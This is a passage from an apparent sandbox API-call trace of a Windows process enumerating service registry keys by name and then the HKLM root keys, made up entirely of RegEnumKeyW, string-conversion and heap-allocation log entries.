cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthmodem", cchWideChar=8, lpMultiByteStr=0x21f1d60, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthmodem", lpUsedDefaultChar=0x0) returned 8 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.859] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x39, lpName=0x2152850, cchName=0x104 | out: lpName="BTHPORT") returned 0x0 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.859] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthport", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthport", lpUsedDefaultChar=0x0) returned 7 [0259.859] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.859] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3a, lpName=0x2152850, cchName=0x104 | out: lpName="bthserv") returned 0x0 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bthserv", cchWideChar=7, lpMultiByteStr=0x21f1d60, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bthserv", lpUsedDefaultChar=0x0) returned 7 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3b, lpName=0x2152850, cchName=0x104 | out: lpName="cdfs") returned 0x0 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdfs", cchWideChar=4, lpMultiByteStr=0x21f1bf8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdfs", lpUsedDefaultChar=0x0) returned 4 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3c, lpName=0x2152850, cchName=0x104 | out: lpName="cdrom") returned 0x0 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d60 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cdrom", cchWideChar=5, lpMultiByteStr=0x21f1d60, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cdrom", lpUsedDefaultChar=0x0) returned 5 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d60) returned 1 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0259.860] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0259.860] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3d, lpName=0x2152850, cchName=0x104 | out: lpName="CertPropSvc") returned 0x0 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0259.860] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0259.860] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="certpropsvc", cchWideChar=11, lpMultiByteStr=0x21f1bf8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="certpropsvc", lpUsedDefaultChar=0x0) returned 11 [0259.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3e, lpName=0x2152850, cchName=0x104 | out: lpName="circlass") returned 0x0 [0259.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3f, lpName=0x2152850, cchName=0x104 | out: lpName="CLFS") returned 0x0 [0259.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x40, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_32") returned 0x0 [0259.861] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x41, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v2.0.50727_64") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x42, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_32") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x43, lpName=0x2152850, cchName=0x104 | out: lpName="clr_optimization_v4.0.30319_64") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x44, lpName=0x2152850, cchName=0x104 | out: lpName="CmBatt") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x45, lpName=0x2152850, cchName=0x104 | out: lpName="cmdide") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x46, lpName=0x2152850, cchName=0x104 | out: lpName="CNG") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x47, lpName=0x2152850, cchName=0x104 | out: lpName="Compbatt") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x48, lpName=0x2152850, cchName=0x104 | out: lpName="CompositeBus") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x49, lpName=0x2152850, cchName=0x104 | out: lpName="COMSysApp") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4a, lpName=0x2152850, cchName=0x104 | out: lpName="crcdisk") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4b, lpName=0x2152850, cchName=0x104 | out: lpName="crypt32") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4c, lpName=0x2152850, cchName=0x104 | out: lpName="CryptSvc") returned 0x0 [0259.864] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4d, lpName=0x2152850, cchName=0x104 | out: lpName="CSC") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4e, lpName=0x2152850, cchName=0x104 | out: lpName="CscService") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4f, lpName=0x2152850, cchName=0x104 | out: lpName="DCLocator") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x50, lpName=0x2152850, cchName=0x104 | out: lpName="DcomLaunch") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x51, lpName=0x2152850, cchName=0x104 | out: lpName="defragsvc") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x52, lpName=0x2152850, cchName=0x104 | out: lpName="DfsC") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x53, lpName=0x2152850, cchName=0x104 | out: lpName="Dhcp") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x54, lpName=0x2152850, cchName=0x104 | out: lpName="DiagTrack") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x55, lpName=0x2152850, cchName=0x104 | out: lpName="discache") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x56, lpName=0x2152850, cchName=0x104 | out: lpName="Disk") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x57, lpName=0x2152850, cchName=0x104 | out: lpName="dmvsc") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x58, lpName=0x2152850, cchName=0x104 | out: lpName="Dnscache") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x59, lpName=0x2152850, cchName=0x104 | out: lpName="dot3svc") returned 0x0 [0259.865] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5a, lpName=0x2152850, cchName=0x104 | out: lpName="DPS") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5b, lpName=0x2152850, cchName=0x104 | out: lpName="drmkaud") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5c, lpName=0x2152850, cchName=0x104 | out: lpName="DXGKrnl") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5d, lpName=0x2152850, cchName=0x104 | out: lpName="E1G60") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5e, lpName=0x2152850, cchName=0x104 | out: lpName="EapHost") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5f, lpName=0x2152850, cchName=0x104 | out: lpName="ebdrv") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x60, lpName=0x2152850, cchName=0x104 | out: lpName="EFS") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x61, lpName=0x2152850, cchName=0x104 | out: lpName="ehRecvr") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x62, lpName=0x2152850, cchName=0x104 | out: lpName="ehSched") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x63, lpName=0x2152850, cchName=0x104 | out: lpName="elxstor") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x64, lpName=0x2152850, cchName=0x104 | out: lpName="ErrDev") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x65, lpName=0x2152850, cchName=0x104 | out: lpName="ESENT") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x66, lpName=0x2152850, cchName=0x104 | out: lpName="eventlog") returned 0x0 [0259.866] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x67, lpName=0x2152850, cchName=0x104 | out: lpName="EventSystem") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x68, lpName=0x2152850, cchName=0x104 | out: lpName="exfat") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x69, lpName=0x2152850, cchName=0x104 | out: lpName="fastfat") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6a, lpName=0x2152850, cchName=0x104 | out: lpName="Fax") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6b, lpName=0x2152850, cchName=0x104 | out: lpName="fdc") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6c, lpName=0x2152850, cchName=0x104 | out: lpName="fdPHost") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6d, lpName=0x2152850, cchName=0x104 | out: lpName="FDResPub") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6e, lpName=0x2152850, cchName=0x104 | out: lpName="FileInfo") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6f, lpName=0x2152850, cchName=0x104 | out: lpName="Filetrace") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x70, lpName=0x2152850, cchName=0x104 | out: lpName="flpydisk") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x71, lpName=0x2152850, cchName=0x104 | out: lpName="FltMgr") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x72, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache") returned 0x0 [0259.867] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x73, lpName=0x2152850, cchName=0x104 | out: lpName="FontCache3.0.0.0") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x74, lpName=0x2152850, cchName=0x104 | out: lpName="FsDepends") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x75, lpName=0x2152850, cchName=0x104 | out: lpName="Fs_Rec") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x76, lpName=0x2152850, cchName=0x104 | out: lpName="fvevol") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x77, lpName=0x2152850, cchName=0x104 | out: lpName="gagp30kx") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x78, lpName=0x2152850, cchName=0x104 | out: lpName="gpsvc") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x79, lpName=0x2152850, cchName=0x104 | out: lpName="gupdate") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7a, lpName=0x2152850, cchName=0x104 | out: lpName="gupdatem") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7b, lpName=0x2152850, cchName=0x104 | out: lpName="hcw85cir") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7c, lpName=0x2152850, cchName=0x104 | out: lpName="HdAudAddService") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7d, lpName=0x2152850, cchName=0x104 | out: lpName="HDAudBus") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7e, lpName=0x2152850, cchName=0x104 | out: lpName="HidBatt") returned 0x0 [0259.868] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7f, lpName=0x2152850, cchName=0x104 | out: lpName="HidBth") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x80, lpName=0x2152850, cchName=0x104 | out: lpName="HidIr") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x81, lpName=0x2152850, cchName=0x104 | out: lpName="hidserv") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x82, lpName=0x2152850, cchName=0x104 | out: lpName="HidUsb") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x83, lpName=0x2152850, cchName=0x104 | out: lpName="hkmsvc") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x84, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupListener") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x85, lpName=0x2152850, cchName=0x104 | out: lpName="HomeGroupProvider") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x86, lpName=0x2152850, cchName=0x104 | out: lpName="HpSAMD") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x87, lpName=0x2152850, cchName=0x104 | out: lpName="HTTP") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x88, lpName=0x2152850, cchName=0x104 | out: lpName="hwpolicy") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x89, lpName=0x2152850, cchName=0x104 | out: lpName="i8042prt") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8a, lpName=0x2152850, cchName=0x104 | out: lpName="iaStorV") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0259.869] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0259.870] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0259.871] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0259.872] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0259.873] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0xc4, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0259.874] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0259.874] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0259.874] RegCloseKey (hKey=0xc4) returned 0x0 [0259.874] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0259.874] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0259.874] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0259.875] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 